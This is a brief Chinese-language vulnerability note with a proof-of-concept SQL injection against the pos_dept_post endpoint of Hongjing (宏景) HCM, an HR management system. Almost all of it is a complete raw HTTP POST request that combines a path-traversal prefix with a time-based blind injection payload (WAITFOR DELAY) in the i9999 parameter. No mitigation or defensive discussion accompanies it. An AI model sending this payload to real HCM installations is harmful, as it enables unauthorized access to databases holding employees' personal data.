宏景HCM pos_dept_post sql注入漏洞

漏洞复现：

poc：

POST /templates/attestation/../../pos/roleinfo/pos_dept_post HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 63

usertable=h00&usernumber=1&i9999=-1';WAITFOR DELAY '0:0:3'--+